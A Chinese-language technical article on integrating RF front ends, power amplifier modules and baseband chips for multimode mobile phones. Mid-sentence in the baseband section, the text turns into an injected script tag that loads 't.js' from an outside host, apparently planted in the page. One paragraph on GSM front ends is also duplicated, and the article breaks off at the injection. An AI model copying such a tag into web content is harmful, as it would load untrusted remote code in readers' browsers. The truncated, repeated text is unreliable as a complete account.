提高射频电路集成度应对多模手机设计挑战

为满足下一代蜂窝电话设计对更多特性、多模式及工作频率的需求,工程师们必须寻找提高射频前端集成度的途径。通过采用cmos 工艺的最新集成方案,他们找到了应对这一挑战的答案。

  消费者对更小、更便宜手机和手持式设备中实现更多功能以及高速无线数据业务与多重无线电技术(多模式)需求,正推动移动电话市场的增长。在2.5g 网络(gprs 及cdma 1xrtt) 与3g 网络(umts/w-cdma 及cdma2000)的进展使高速无线数据业务成为可能的同时,通过采用适当的硅工艺以及集成射频收发器等关键构建模块则可减少手机及手持式设备的尺寸及成本。

图1:多模式平台中常见独立无线子系统

  手机制造商整合多种技术来向特定市场提供他们认为销售最佳的解决方案。例如,支持gsm、gprs、edge 及w-cdma 的手机使用户能用一种设备来接入多个高速网络,这也是多模式技术最基本的应用模式。而gps、蓝牙及无wlan 则是蜂窝电话及手持式设备中可能使用的其他常见无线功能。

  今天的大多数多模式平台在同一平台上构建有多个独立无线子系统,如图1 所示。例如,支持gsm、w-cdma 、蓝牙及gps 的多模式手机可能以gsm/w-cdma 基带、应用处理器、电源管理ic、存储器ic、gsm 射频收发器、构成w-cdma 收发器的分立元件、单芯片蓝牙系统、双芯片gps 子系统以及多模式射频前端与无源器件等来构造,以支持各种无线功能。

  在这种手机例子中,单芯片蓝牙及双芯片gps 芯片组与应用处理器相连,而其各自的驱动程序则被嵌入至控制整个平台工作的操作系统中。此外,由于它们为独立的“单机”系统,故蓝牙与gps 子系统可在由手机建立的网络通话中并行工作。

  尽管多种无线功能的“系统级”集成对于某些应用来说很有意义,但这并不能获得一种针对最低成本或最小外形尺寸手机进行优化的解决方案。多模式功能的最终集成是在射频前端、基带及收发器等元件级上进行。

  集成射频前端系统

  基于gsm标准并工作于时分双工基础上的蜂窝电话,使其射频前端系统仅需以开关来实现。最简单的gsm手机以单频段模式工作,且仅需要一个单刀双掷开关、一个接收器滤波器与匹配网络及一个功放。不过,当今市场对更多功能手机的需求对gsm手机提出了能支持多达4个频段的要求。因此,四频段gsm手机可能含有多达4个发射通道及4个接收通道。

  基于gsm 标准并工作于时分双工基础上的蜂窝电话,使其射频前端系统仅需以开关来实现。最简单的gsm 手机以单频段模式工作,且仅需要一个单刀双掷开关、一个接收器滤波器与匹配网络及一个功放。不过,当今市场对更多功能手机的需求对gsm 手机提出了能支持多达4 个频段的要求。因此,四频段gsm 手机可能含有多达4 个发射通道及4 个接收通道。

  发射通道至少需要有两个功放:一个用于gsm850 与gsm900 频段、另一个用于dcs-1800 及pcs-1900 频段。若再加上接收通道所需的滤波器及无源器件,则一共有6 个通道,从而增加了设计复杂性及器件数量。

  在将诸如802.11b wlan 等第二个无线系统添加到同一平台上以构成多模设备时,既能提供更多功能又不增加设计复杂性或器件成本的挑战是多方面的。由于gsm 及802.11b 工作于不同频段,故其前端器件不能共用,因此两种模式都要求在pcb 板上拥有一组自己的功率放大器(pa)、开关网络、接收器匹配电路及滤波器。对于这些前端功能的实现,其最佳方法是采用预集成模块与封装。

  以包含功率放大器及功率控制逻辑功能的多芯片模块为形式的pa 模块,已经用于多频段手机及多模式802.11a/g wlan 应用中。同样,包含开关网络及接收滤波器的射频前端模块也已经可获得。将来,只要市场需要也可能会有整合了蜂窝与wlan 的射频前端子系统。

  基带分割

  今天的许多蜂窝基带芯片均为高度集成的cmos 系统级芯片(soc),且要么是一块芯片同时具有数字与模拟功能,要么是模拟与数字基?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计